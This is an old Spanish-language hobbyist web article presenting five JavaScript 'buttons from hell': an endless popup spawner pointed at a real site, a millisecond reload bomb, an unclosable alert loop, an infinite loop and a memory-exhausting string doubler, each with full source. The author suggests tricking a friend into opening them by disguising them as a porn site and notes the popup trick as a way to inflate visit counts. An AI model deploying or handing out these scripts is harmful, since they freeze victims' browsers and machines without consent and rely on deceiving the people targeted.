En este articulo expondré diferentes trozos de código en lenguaje JavaScript, llamados Los Cinco botones del infierno (en realidad eran 6, pero el sexto no lo he podido hacer funcionar) Gracias a estos pequeños códigos de javascript podrás paralizar al navegador, dejar sin memoria el ordenador logrando así un reset casi obligado :), y un par de cosillas mas. Antes de comenzar tengo que explicar que estos scripts no son peligrosos, y como ya he dicho, el efecto mas dañino que puede tener es el cuelgue completo del sistema, pero poco mas, el hardware ni el software se vera afectado de ninguna forma, así que no nos pongamos nerviosos.
También tengo que decir, que si quieres divertirte con estos scrips, mejor que se los pases a un amigo diciendo que es una web porno o algo así, porque como los cuelgues en la red en forma de pagina web, y los visitantes de la misma comiencen a pulsar el reset como posesos... seguramente alguno se cabreara, y será peor para ti. Después de estos avisos, a los que seguramente nadie hará ni caso, comenzamos con el articulo.
Una ultima cosa, todo lo que dentro del código lleva // son comentarios míos, no forman parte del código.
1er botón del infierno:
Nombre:
Window Spawner
Acción: Abrir ventanas sin parar, con
el problema que eso acarrea.
Código fuente:
//
Abrir ventanas sin parar
function
WindowBomb()
{
var
iCounter =
0 //
contador
while
(true)
{
window.open("http://www.NETural.com/~ccamel","CRASHING"
+
iCounter,"width=1,height=1,resizable=no")
//
La función para abrir ventanas como un loco
iCounter++
}
}
Como podéis ver, lo que este script hace es abrir ventanas sin parar, de un tamaño de 1x1 pixels. En la ventana se carga la web http://www.NETural.com/~ccamel. Como podéis ver, también es una forma poco legal, de conseguir un montón de visitas en tu web. Podeis ver su funcionamiento pinchando en el botón que tenéis a continuación:
2º Botón del infierno.
Nombre:
Bomba de recarga
Acción: Recarga la web cada
milisegundo
Código fuente:
//
No es tan interesante como otras bombas, pero te obliga
// a estar
en la misma pagina. El usuario no puede cambiar de web,
// o hacer
click en el botón stop para detener la carga.
function
ReloadBomb()
{
history.go(0)
//
Recarga la pagina
window.setTimeout('ReloadBomb()',1)
//
Le indica al netscape que realice la acción
// cada
milisegundo :)
}
Este script es bastante molesto, y al igual que la anterior también te puede servir para subir el contador de visitas, pero creo que en un milisegundo al contador no le dar tiempo de contabilizar todas las visitas :) Si quereis verlo en funcionamiento, pinchar en el siguiente botón:
3er Botón del infierno.
Nombre:
Advertencias sin fin
Acción: Abre una ventana de
advertencia, en la que pulsando OK se quitaría de nuestra
vista, ahora gracias a este script el personaje que pulse en el botón
se pasara toda su vida pulsando en OK :)
Código fuente:
function
AnnoyingButton()
{
while
(true)
window.alert("HAHAHA...tu
no puedes cerrar esta ventana si no reseteas....HAHAHA!")
}
//
Abre una ventana una y otra vez, la cual nunca se podrá
cerrar.
Este script es imposible de paralizar, después de cerrar una, siempre aparecerá otra :) la única forma de quitarsela de encima es haciendo un reset o tratando de cerrar netscape a lo bestia, usease, CTRL+ALT+SUPR. Ala, pinchar en el botón y disfrutar del espectáculo.
4º Botón del infierno.
Nombre:
Bucle, bucle...
Acción: Ejecuta una acción
infinitamente, dejando sin recursos al navegador. Los navegadores mas
actualizados ya avisan que una secuencia de comandos esta dejandolo
frito, así que ya es difícil hacerlo funcionar
:)
Código fuente:
function
WhileLoopLock()
{
while
(true){}
}
Como veis, el código no podía ser mas sencillo :) Repite la acción, en while, una y otra vez, así hasta el fin de los tiempos, logrando que el navegador se valla a la mie***. Pulsa en el siguiente botón, y disfruta.
5º Botón del infierno
Nombre:
Come-memoria
Acción: Pos eso, que come memoria como
un loco.
Código fuente:
var
szEatMemory =
"GOBBLEGOBBLE"
//
la frase encargada de comer to :)
// Con este script es posible
colgar una maquina con 16 megas de RAM en poco tiempo
// y lo
mejor de todo es que funciona!!!!
function
EatMemoryInTime()
{
szEatMemory
= szEatMemory
+ szEatMemory
window.status
= "String
Length is: " +
szEatMemory.length
// informa de el tamaño
window.setTimeout('EatMemoryInTime()',1);
//
Le dice al navegador que ejecute esta función
}
Este es el mejor, nunca falla, en poco tiempo el sistema dejara de funcionar, y la única solución será un reset :) Pruebalo, veras que divertido: